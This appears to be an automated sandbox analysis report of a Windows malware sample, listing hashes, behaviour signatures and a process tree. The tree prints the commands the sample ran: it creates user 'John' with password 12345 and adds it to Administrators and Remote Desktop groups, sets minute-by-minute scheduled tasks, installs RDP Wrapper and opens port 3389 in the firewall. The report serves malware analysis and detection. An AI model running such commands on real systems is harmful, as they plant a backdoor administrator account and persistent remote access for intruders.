Analysis
-
max time kernel
147s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
14-05-2022 23:14
Static task
static1
Behavioral task
behavioral1
Sample
24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe
Resource
win10v2004-20220414-en
General
-
Target
24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe
-
Size
6.0MB
-
MD5
97a2185f37cdd11207322e349b344fb7
-
SHA1
de2933539caac225cd11768d192bb97467e67010
-
SHA256
24b0e23df17c77d44882a2e25ecbd4d3b07015af5d44cb325679a370b8304614
-
SHA512
ca3fd27966cd4213ac5d469e91f69dcb8c098d432628a94061acfd3a5970df794233d8473c8f2216ad0b11c97d0609eb579b6cfefb5f9330c14fb1c18129dca5
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
svchost.exedescription pid process target process PID 2188 created 3212 2188 svchost.exe winserv.exe -
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Executes dropped EXE 5 IoCs
Processes:
winserv.exewinserv.exeRDPWinst.exewinserv.exewinserv.exepid process 3212 winserv.exe 4992 winserv.exe 548 RDPWinst.exe 3160 winserv.exe 3968 winserv.exe -
Modifies Windows Firewall 1 TTPs
-
Sets DLL path for service in the registry 2 TTPs
-
Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exewinserv.exewinserv.exewinserv.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation winserv.exe Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation winserv.exe Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation winserv.exe -
Loads dropped DLL 1 IoCs
Processes:
svchost.exepid process 4104 svchost.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 22 ip-api.com -
Modifies WinLogon 2 TTPs 1 IoCs
Processes:
RDPWinst.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1" RDPWinst.exe -
Drops file in System32 directory 1 IoCs
Processes:
RDPWinst.exedescription ioc process File created C:\Windows\System32\rfxvmt.dll RDPWinst.exe -
Drops file in Program Files directory 5 IoCs
Processes:
24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exeRDPWinst.exesvchost.exedescription ioc process File opened for modification C:\Program Files\RDP Wrapper 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe File opened for modification C:\Program Files\RDP Wrapper\rdpwrap.ini 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe File created C:\Program Files\RDP Wrapper\rdpwrap.ini RDPWinst.exe File created C:\Program Files\RDP Wrapper\rdpwrap.dll RDPWinst.exe File opened for modification \??\c:\program files\rdp wrapper\rdpwrap.txt svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2688 schtasks.exe 3448 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 5036 timeout.exe -
Modifies registry class 3 IoCs
Processes:
24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\MIME\Database 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Charset 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Codepage 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
winserv.exewinserv.exesvchost.exe24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exepid process 3212 winserv.exe 3212 winserv.exe 3212 winserv.exe 3212 winserv.exe 3212 winserv.exe 3212 winserv.exe 4992 winserv.exe 4992 winserv.exe 4992 winserv.exe 4992 winserv.exe 4104 svchost.exe 4104 svchost.exe 4104 svchost.exe 4104 svchost.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 652 -
Suspicious use of AdjustPrivilegeToken 8 IoCs
Processes:
winserv.exesvchost.exewinserv.exeRDPWinst.exesvchost.exedescription pid process Token: SeDebugPrivilege 3212 winserv.exe Token: SeTcbPrivilege 2188 svchost.exe Token: SeTcbPrivilege 2188 svchost.exe Token: SeTakeOwnershipPrivilege 4992 winserv.exe Token: SeTcbPrivilege 4992 winserv.exe Token: SeTcbPrivilege 4992 winserv.exe Token: SeDebugPrivilege 548 RDPWinst.exe Token: SeAuditPrivilege 4104 svchost.exe -
Suspicious use of SetWindowsHookEx 16 IoCs
Processes:
winserv.exewinserv.exewinserv.exewinserv.exepid process 3212 winserv.exe 3212 winserv.exe 3212 winserv.exe 3212 winserv.exe 4992 winserv.exe 4992 winserv.exe 4992 winserv.exe 4992 winserv.exe 3160 winserv.exe 3160 winserv.exe 3160 winserv.exe 3160 winserv.exe 3968 winserv.exe 3968 winserv.exe 3968 winserv.exe 3968 winserv.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exesvchost.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exedescription pid process target process PID 4576 wrote to memory of 2688 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe schtasks.exe PID 4576 wrote to memory of 2688 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe schtasks.exe PID 4576 wrote to memory of 2688 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe schtasks.exe PID 4576 wrote to memory of 3448 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe schtasks.exe PID 4576 wrote to memory of 3448 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe schtasks.exe PID 4576 wrote to memory of 3448 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe schtasks.exe PID 4576 wrote to memory of 3212 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe winserv.exe PID 4576 wrote to memory of 3212 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe winserv.exe PID 4576 wrote to memory of 3212 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe winserv.exe PID 2188 wrote to memory of 4992 2188 svchost.exe winserv.exe PID 2188 wrote to memory of 4992 2188 svchost.exe winserv.exe PID 2188 wrote to memory of 4992 2188 svchost.exe winserv.exe PID 4576 wrote to memory of 4068 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe cmd.exe PID 4576 wrote to memory of 4068 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe cmd.exe PID 4576 wrote to memory of 4068 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe cmd.exe PID 4576 wrote to memory of 4364 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe cmd.exe PID 4576 wrote to memory of 4364 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe cmd.exe PID 4576 wrote to memory of 4364 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe cmd.exe PID 4068 wrote to memory of 2040 4068 cmd.exe net.exe PID 4068 wrote to memory of 2040 4068 cmd.exe net.exe PID 4068 wrote to memory of 2040 4068 cmd.exe net.exe PID 2040 wrote to memory of 1208 2040 net.exe net1.exe PID 2040 wrote to memory of 1208 2040 net.exe net1.exe PID 2040 wrote to memory of 1208 2040 net.exe net1.exe PID 4576 wrote to memory of 4904 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe cmd.exe PID 4576 wrote to memory of 4904 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe cmd.exe PID 4576 wrote to memory of 4904 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe cmd.exe PID 4364 wrote to memory of 4028 4364 cmd.exe net.exe PID 4364 wrote to memory of 4028 4364 cmd.exe net.exe PID 4364 wrote to memory of 4028 4364 cmd.exe net.exe PID 4028 wrote to memory of 1924 4028 net.exe net1.exe PID 4028 wrote to memory of 1924 4028 net.exe net1.exe PID 4028 wrote to memory of 1924 4028 net.exe net1.exe PID 4576 wrote to memory of 2116 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe cmd.exe PID 4576 wrote to memory of 2116 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe cmd.exe PID 4576 wrote to memory of 2116 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe cmd.exe PID 4904 wrote to memory of 3832 4904 cmd.exe net.exe PID 4904 wrote to memory of 3832 4904 cmd.exe net.exe PID 4904 wrote to memory of 3832 4904 cmd.exe net.exe PID 3832 wrote to memory of 608 3832 net.exe net1.exe PID 3832 wrote to memory of 608 3832 net.exe net1.exe PID 3832 wrote to memory of 608 3832 net.exe net1.exe PID 2116 wrote to memory of 4908 2116 cmd.exe net.exe PID 2116 wrote to memory of 4908 2116 cmd.exe net.exe PID 2116 wrote to memory of 4908 2116 cmd.exe net.exe PID 4576 wrote to memory of 3436 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe cmd.exe PID 4576 wrote to memory of 3436 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe cmd.exe PID 4576 wrote to memory of 3436 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe cmd.exe PID 4908 wrote to memory of 3116 4908 net.exe net1.exe PID 4908 wrote to memory of 3116 4908 net.exe net1.exe PID 4908 wrote to memory of 3116 4908 net.exe net1.exe PID 3436 wrote to memory of 3208 3436 cmd.exe net.exe PID 3436 wrote to memory of 3208 3436 cmd.exe net.exe PID 3436 wrote to memory of 3208 3436 cmd.exe net.exe PID 3208 wrote to memory of 2512 3208 net.exe net1.exe PID 3208 wrote to memory of 2512 3208 net.exe net1.exe PID 3208 wrote to memory of 2512 3208 net.exe net1.exe PID 4576 wrote to memory of 4472 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe cmd.exe PID 4576 wrote to memory of 4472 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe cmd.exe PID 4576 wrote to memory of 4472 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe cmd.exe PID 4472 wrote to memory of 672 4472 cmd.exe net.exe PID 4472 wrote to memory of 672 4472 cmd.exe net.exe PID 4472 wrote to memory of 672 4472 cmd.exe net.exe PID 4576 wrote to memory of 552 4576 24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe cmd.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe"C:\Users\Admin\AppData\Local\Temp\24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe"1⤵
- Checks computer location settings
- Drops file in Program Files directory
- Checks processor information in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4576 -
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST2⤵
- Creates scheduled task(s)
PID:2688 -
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST2⤵
- Creates scheduled task(s)
PID:3448 -
C:\ProgramData\Windows Tasks Service\winserv.exe"C:\ProgramData\Windows Tasks Service\winserv.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3212 -
C:\ProgramData\Windows Tasks Service\winserv.exe"C:\ProgramData\Windows Tasks Service\winserv.exe" -second3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4992 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user John 12345 /add2⤵
- Suspicious use of WriteProcessMemory
PID:4068 -
C:\Windows\SysWOW64\net.exenet user John 12345 /add3⤵
- Suspicious use of WriteProcessMemory
PID:2040 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user John 12345 /add4⤵PID:1208
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add2⤵
- Suspicious use of WriteProcessMemory
PID:4364 -
C:\Windows\SysWOW64\net.exenet localgroup "Администраторы" John /add3⤵
- Suspicious use of WriteProcessMemory
PID:4028 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Администраторы" John /add4⤵PID:1924
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add2⤵
- Suspicious use of WriteProcessMemory
PID:4904 -
C:\Windows\SysWOW64\net.exenet localgroup "Пользователи удаленного рабочего стола" John /add3⤵
- Suspicious use of WriteProcessMemory
PID:3832 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add4⤵PID:608
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add2⤵
- Suspicious use of WriteProcessMemory
PID:2116 -
C:\Windows\SysWOW64\net.exenet localgroup "Пользователи удаленного управления" john /add" John /add3⤵
- Suspicious use of WriteProcessMemory
PID:4908 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add4⤵PID:3116
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add2⤵
- Suspicious use of WriteProcessMemory
PID:3436 -
C:\Windows\SysWOW64\net.exenet localgroup "Administrators" John /add3⤵
- Suspicious use of WriteProcessMemory
PID:3208 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Administrators" John /add4⤵PID:2512
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add2⤵
- Suspicious use of WriteProcessMemory
PID:4472 -
C:\Windows\SysWOW64\net.exenet localgroup "Administradores" John /add3⤵PID:672
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Administradores" John /add4⤵PID:836
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add2⤵PID:552
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" john /add3⤵PID:1096
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add4⤵PID:3672
-
C:\ProgramData\RDPWinst.exeC:\ProgramData\RDPWinst.exe -i2⤵
- Executes dropped EXE
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:548 -
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow3⤵PID:4048
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Programdata\Install\del.bat2⤵PID:4164
-
C:\Windows\SysWOW64\timeout.exetimeout 53⤵
- Delays execution with timeout.exe
PID:5036
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2188
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵PID:2012
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4104
-
C:\ProgramData\Windows Tasks Service\winserv.exe"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
PID:3160
-
C:\ProgramData\Windows Tasks Service\winserv.exe"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
PID:3968
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
114KB
MD5461ade40b800ae80a40985594e1ac236
SHA1b3892eef846c044a2b0785d54a432b3e93a968c8
SHA256798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4
SHA512421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26
-
Filesize
1.4MB
MD53288c284561055044c489567fd630ac2
SHA111ffeabbe42159e1365aa82463d8690c845ce7b7
SHA256ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753
SHA512c25b28a340a23a9fa932aa95075f85fdd61880f29ef96f5179097b652f69434e0f1f8825e2648b2a0de1f4b0f9b8373080a22117974fcdf44112906d330fca02
-
Filesize
1.4MB
MD53288c284561055044c489567fd630ac2
SHA111ffeabbe42159e1365aa82463d8690c845ce7b7
SHA256ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753
SHA512c25b28a340a23a9fa932aa95075f85fdd61880f29ef96f5179097b652f69434e0f1f8825e2648b2a0de1f4b0f9b8373080a22117974fcdf44112906d330fca02
-
Filesize
2KB
MD5483fc2e7373a9ee36cc444fca67a32a8
SHA1c2fe2355683b670622a8e00784bec5056291e494
SHA2562ee9e47fc7edee23653ee17475e0f040255aad1be11cfcec389335078561944d
SHA512e3b1cf539e5a542e0cab0ac9122e6027a5d489f0ac89a67070ad21ef7611010122ff2fad8d7d1d7fd6256bdb84e404a7eb8ef31bd86b0162b82c92d49af0a7e4
-
Filesize
10.2MB
MD53f4f5a6cb95047fea6102bd7d2226aa9
SHA1fc09dd898b6e7ff546e4a7517a715928fbafc297
SHA25699fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98
SHA512de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688
-
Filesize
10.2MB
MD53f4f5a6cb95047fea6102bd7d2226aa9
SHA1fc09dd898b6e7ff546e4a7517a715928fbafc297
SHA25699fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98
SHA512de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688
-
Filesize
10.2MB
MD53f4f5a6cb95047fea6102bd7d2226aa9
SHA1fc09dd898b6e7ff546e4a7517a715928fbafc297
SHA25699fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98
SHA512de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688
-
Filesize
10.2MB
MD53f4f5a6cb95047fea6102bd7d2226aa9
SHA1fc09dd898b6e7ff546e4a7517a715928fbafc297
SHA25699fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98
SHA512de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688
-
Filesize
10.2MB
MD53f4f5a6cb95047fea6102bd7d2226aa9
SHA1fc09dd898b6e7ff546e4a7517a715928fbafc297
SHA25699fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98
SHA512de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688
-
Filesize
159B
MD549a9fec3ba20596a39e2bfae59ff4b3c
SHA1b9cc7369a94831b912ed85532d7cc99f32c82040
SHA2563a85f338cd09aefe830c7b8bac225e3d8d847b7184ecfb625ad7f46492dba681
SHA512e5174539967fbc5dd1a4cec7d7a868c45ff58906fd2e580ba49a82b0ff6fabfb0564678d3aca37e86f9124776d7aba6c65fa0f72219e0474adcb9dc8e7484bea
-
MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
Filesize
114KB
MD5461ade40b800ae80a40985594e1ac236
SHA1b3892eef846c044a2b0785d54a432b3e93a968c8
SHA256798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4
SHA512421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26